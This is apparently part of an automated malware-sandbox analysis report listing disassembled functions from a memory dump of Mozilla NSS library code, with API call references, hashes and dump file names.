Part of subcall function 6C9FFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C9F8D2D,?,00000000,?), ref: 6C9FFB85
Part of subcall function 6C9FFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C9FFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CAC925C,?), ref: 6C9A7E92

Part of subcall function 6C9FB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CAD18D0,?), ref: 6C9FB095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C9A7EA1
SECOID_FindOID_Util.NSS3(00000004), ref: 6C9A7ED1
SECOID_FindOID_Util.NSS3(00000004), ref: 6C9A7EFA

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_FindItem_Value$AllocateCopyCriticalDecodeEnterErrorFreeInitLockPoolQuickSectionUnlockcallocmemcpy
String ID:
API String ID: 3989529743-0
Opcode ID: 266128b235fda06843370c2e2ba3139f4043c957e07d0a37cef8d753f881c759
Instruction ID: 78715769d92f82a4331e0127042b2c6b95fd350a81c63d9b8acef49b23160be2
Opcode Fuzzy Hash: 266128b235fda06843370c2e2ba3139f4043c957e07d0a37cef8d753f881c759
Instruction Fuzzy Hash: 3331A1B2A012119BEB108BA59D41B6B73ECAF4425DF194824ED55EBB05F730EC19C7E0

Function 6C9FDC10 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000,?,?,00000000,?,?,6C9FD9E4,00000000), ref: 6C9FDC30
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,00000000,?,?,6C9FD9E4,00000000), ref: 6C9FDC4E
PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,?,6C9FD9E4,00000000), ref: 6C9FDC5A
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C9FDC7E
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C9FDCAD

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Alloc_Util$Arenamemcpy
String ID:
API String ID: 2632744278-0
Opcode ID: 06a3690cded320fba413f99ed2e8db5ee0fc18f6b6cf835127681eb2ccfa6a67
Instruction ID: ec52b9a0038455a19da88dc053f4a5ebadd98020aa89658ea48d12802024c5c1
Opcode Fuzzy Hash: 06a3690cded320fba413f99ed2e8db5ee0fc18f6b6cf835127681eb2ccfa6a67
Instruction Fuzzy Hash: 66315EB6A00201DFD750CF19D894B96B7F8EF05358F148429E96CCBB01E7B1E985CBA1

Function 6C9C2E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6C9BE728,?,00000038,?,?,00000000), ref: 6C9C2E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C9C2E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C9C2E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6C9C2E8F
PL_HashTableLookup.NSS3(?,?), ref: 6C9C2E9E
PR_Unlock.NSS3(?), ref: 6C9C2EAB
PR_Unlock.NSS3(?), ref: 6C9C2F0D

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: bfa4b470132a6933badb62f9725dea9ce69340c89e6775d05d32d61c34adda37
Instruction ID: 438f4ecf01dab3cdca3e41ded22a8785df82fcfc188a441247ea78645c6d044b
Opcode Fuzzy Hash: bfa4b470132a6933badb62f9725dea9ce69340c89e6775d05d32d61c34adda37
Instruction Fuzzy Hash: 3F31E879B00606ABEB009F68EC44866BB79FF6525CB088174ED1897B11EB31EC65C7D2

Function 6CA0CEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6CA0CD93,?), ref: 6CA0CEEE

Part of subcall function 6CA014C0: TlsGetValue.KERNEL32 ref: 6CA014E0
Part of subcall function 6CA014C0: EnterCriticalSection.KERNEL32 ref: 6CA014F5
Part of subcall function 6CA014C0: PR_Unlock.NSS3 ref: 6CA0150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CA0CD93,?), ref: 6CA0CEFC

Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA010F3
Part of subcall function 6CA010C0: EnterCriticalSection.KERNEL32(?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0110C
Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01141
Part of subcall function 6CA010C0: PR_Unlock.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01182
Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CA0CD93,?), ref: 6CA0CF0B

Part of subcall function 6CA00840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CA008B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CA0CD93,?), ref: 6CA0CF1D

Part of subcall function 6C9FFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C9F8D2D,?,00000000,?), ref: 6C9FFB85
Part of subcall function 6C9FFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C9FFBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CA0CD93,?), ref: 6CA0CF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CA0CD93,?), ref: 6CA0CF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6CA0CD93,?,?,?,?,?,?,?,?,?,?,?,6CA0CD93,?), ref: 6CA0CF78

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: b8ea6a3bafbe2bdc7daddb21414dbe2a4993735c2d25c538e134e5d048319f6f
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: C71190A5B003049BEB00AE667D41BBBB6EC9F5458DF044039A909D7741FB60DA4886B3

Function 6C9B8C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C9B8C1B
EnterCriticalSection.KERNEL32 ref: 6C9B8C34
PL_ArenaAllocate.NSS3 ref: 6C9B8C65
PR_Unlock.NSS3 ref: 6C9B8C9C
PR_Unlock.NSS3 ref: 6C9B8CB6

Part of subcall function 6CA4DD70: TlsGetValue.KERNEL32 ref: 6CA4DD8C
Part of subcall function 6CA4DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CA4DDB4

Strings

KRAM, xrefs: 6C9B8C8F

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: ea7401b25f7c7ac9f0ecaf49e69f1c4df8e78b5dfa58fefe648b023c609cae5b
Instruction ID: 04b74e9ac44527e573f5e1a6b1e9b684dca6591b8c00c577a9c18f7bc3d4e516
Opcode Fuzzy Hash: ea7401b25f7c7ac9f0ecaf49e69f1c4df8e78b5dfa58fefe648b023c609cae5b
Instruction Fuzzy Hash: C92194F5A056029FD704AF78C48455AB7F4FF19308F05C96ED8889B711DB35E88ACB85

Function 6C9C3810 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C9AA8F0,?,00000000), ref: 6C9C3827
EnterCriticalSection.KERNEL32(?,?,6C9AA8F0,?,00000000), ref: 6C9C3840
TlsGetValue.KERNEL32(?,?,?,6C9AA8F0,?,00000000), ref: 6C9C385A
EnterCriticalSection.KERNEL32(?,?,?,?,6C9AA8F0,?,00000000), ref: 6C9C386F
PL_HashTableLookup.NSS3(?,?,?,?,?,6C9AA8F0,?,00000000), ref: 6C9C3888
PR_Unlock.NSS3(?,?,?,?,?,6C9AA8F0,?,00000000), ref: 6C9C3895
PR_Unlock.NSS3(?,?,?,?,?,6C9AA8F0,?,00000000), ref: 6C9C38B6

Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907AD
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907CD
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907D6
Part of subcall function 6C9907A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C92204A), ref: 6C9907E4
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,6C92204A), ref: 6C990864
Part of subcall function 6C9907A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C990880
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,6C92204A), ref: 6C9908CB
Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(?,?,6C92204A), ref: 6C9908D7
Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(?,?,6C92204A), ref: 6C9908FB

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID:
API String ID: 326028414-0
Opcode ID: c121e07d78cf0859200b0bffc340ac3ac187c2d4eac74708af564fd6604bce78
Instruction ID: f534376362bc2e8e41bf38d294a687bdfd838a56e4a1de65875b4020abb1d318
Opcode Fuzzy Hash: c121e07d78cf0859200b0bffc340ac3ac187c2d4eac74708af564fd6604bce78
Instruction Fuzzy Hash: 33213075A047058FDB00AF79D484499BBF4FF49358B098A69DC98C7701EB30E895CBD2

Function 6CA33E20 Relevance: 10.6, APIs: 7, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 6CA35B40: PR_GetIdentitiesLayer.NSS3 ref: 6CA35B56

PR_EnterMonitor.NSS3(?), ref: 6CA33E45

Part of subcall function 6CA69090: TlsGetValue.KERNEL32 ref: 6CA690AB
Part of subcall function 6CA69090: TlsGetValue.KERNEL32 ref: 6CA690C9
Part of subcall function 6CA69090: EnterCriticalSection.KERNEL32 ref: 6CA690E5
Part of subcall function 6CA69090: TlsGetValue.KERNEL32 ref: 6CA69116
Part of subcall function 6CA69090: LeaveCriticalSection.KERNEL32 ref: 6CA6913F

PR_EnterMonitor.NSS3(?), ref: 6CA33E5C
PR_EnterMonitor.NSS3(?), ref: 6CA33E73
PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6CA33EA6

Part of subcall function 6CA4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA4C2BF

PR_ExitMonitor.NSS3(?), ref: 6CA33EC0
PR_ExitMonitor.NSS3(?), ref: 6CA33ED7
PR_ExitMonitor.NSS3(?), ref: 6CA33EEE

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Monitor$EnterValue$Exit$CriticalSection$ErrorIdentitiesLayerLeave
String ID:
API String ID: 2517541793-0
Opcode ID: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction ID: 55a804d83b402e70ba4a7ca400a58c7a04963a745f92dedcb5827376eeed7d57
Opcode Fuzzy Hash: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction Fuzzy Hash: 0111A871519510ABD7315E3AFD12BC777F1DB40308F141824E59EC6E60E636E9AEC742

Function 6CAB2C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CAB2CA0
PR_ExitMonitor.NSS3 ref: 6CAB2CBE
calloc.MOZGLUE(00000001,00000014), ref: 6CAB2CD1
strdup.MOZGLUE(?), ref: 6CAB2CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6CAB2D27

Strings

Loaded library %s (static lib), xrefs: 6CAB2D22

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: ad71d5cebd5009d0b5246f1653a85da9d6081c0ea9fb8bdd5705679c26feaf1e
Instruction ID: d18cc8201f768dc2bb93d60073b6213f5b774b40161d721361494582c91c9013
Opcode Fuzzy Hash: ad71d5cebd5009d0b5246f1653a85da9d6081c0ea9fb8bdd5705679c26feaf1e
Instruction Fuzzy Hash: 3811E6B17003049FEB148F15DC4866677B9AB5A30DF18862ED81997B41D732E888CBA1

Function 6C9A68E0 Relevance: 10.6, APIs: 7, Instructions: 56COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C9A68FB
EnterCriticalSection.KERNEL32 ref: 6C9A6913
PORT_FreeArena_Util.NSS3 ref: 6C9A693E
PR_Unlock.NSS3 ref: 6C9A6946
DeleteCriticalSection.KERNEL32 ref: 6C9A6951
free.MOZGLUE ref: 6C9A695D
PR_Unlock.NSS3 ref: 6C9A6968

Part of subcall function 6CA4DD70: TlsGetValue.KERNEL32 ref: 6CA4DD8C
Part of subcall function 6CA4DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CA4DDB4

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: CriticalSection$UnlockValue$Arena_DeleteEnterFreeLeaveUtilfree
String ID:
API String ID: 1628394932-0
Opcode ID: f7f0623963358565e0bc8a9b1bed0a8f7f07cfd4a37d75e62378f58010cbbe8c
Instruction ID: 30ff2d95d770ee007f9be66bca8eebf7707f7f6b3a49436e61403ea9aaa5105e
Opcode Fuzzy Hash: f7f0623963358565e0bc8a9b1bed0a8f7f07cfd4a37d75e62378f58010cbbe8c
Instruction Fuzzy Hash: CF115EB5A047058FEB00BFB9D48856DBBF8FF45348F058568D998DB601EB30D48ACB92

Function 6C9ABDC0 Relevance: 10.6, APIs: 7, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C9ABDCA

Part of subcall function 6CA00FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C9A87ED,00000800,6C99EF74,00000000), ref: 6CA01000
Part of subcall function 6CA00FF0: PR_NewLock.NSS3(?,00000800,6C99EF74,00000000), ref: 6CA01016
Part of subcall function 6CA00FF0: PL_InitArenaPool.NSS3(00000000,security,6C9A87ED,00000008,?,00000800,6C99EF74,00000000), ref: 6CA0102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C9ABDDB

Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA010F3
Part of subcall function 6CA010C0: EnterCriticalSection.KERNEL32(?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0110C
Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01141
Part of subcall function 6CA010C0: PR_Unlock.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01182
Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C9ABDEC

Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0116E

SECITEM_CopyItem_Util.NSS3(00000000,00000000,?), ref: 6C9ABE03

Part of subcall function 6C9FFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C9F8D2D,?,00000000,?), ref: 6C9FFB85
Part of subcall function 6C9FFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C9FFBB1

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C9ABE22
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C9ABE30
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C9ABE3B

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_ErrorValue$CopyCriticalEnterFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1821307800-0
Opcode ID: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction ID: 352b83a712aa20436b61a5586c70b06047842142988ec327d2baaf83b979b476
Opcode Fuzzy Hash: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction Fuzzy Hash: 6001DB75B4121566F71026A67D01FAB765C4F5168DF240030FF0896B82FB91D51E82F5

Function 6CA00FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C9A87ED,00000800,6C99EF74,00000000), ref: 6CA01000
PR_NewLock.NSS3(?,00000800,6C99EF74,00000000), ref: 6CA01016

Part of subcall function 6CA698D0: calloc.MOZGLUE(00000001,00000084,6C990936,00000001,?,6C99102C), ref: 6CA698E5

PL_InitArenaPool.NSS3(00000000,security,6C9A87ED,00000008,?,00000800,6C99EF74,00000000), ref: 6CA0102B
TlsGetValue.KERNEL32(00000000,?,?,6C9A87ED,00000800,6C99EF74,00000000), ref: 6CA01044
free.MOZGLUE(00000000,?,00000800,6C99EF74,00000000), ref: 6CA01064

Strings

security, xrefs: 6CA01025

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: 0d88f35abd4ae0cadcb348b89c025fe54a6a474c470abddcd20d2d58152cef5e
Instruction ID: a37b163595ff57232a820fea775765dbe006a559d44945a31d1d0ca369f111d5
Opcode Fuzzy Hash: 0d88f35abd4ae0cadcb348b89c025fe54a6a474c470abddcd20d2d58152cef5e
Instruction Fuzzy Hash: 41012570B002505BE7202F2DAC046A63668BF167CDF094119EA9897A51EB70D299DBD2

Function 6CA31C60 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CA31C74

Part of subcall function 6CA4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA4C2BF

DeleteCriticalSection.KERNEL32(?), ref: 6CA31C92
free.MOZGLUE(?), ref: 6CA31C99
DeleteCriticalSection.KERNEL32(?), ref: 6CA31CCB
free.MOZGLUE(?), ref: 6CA31CD2

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

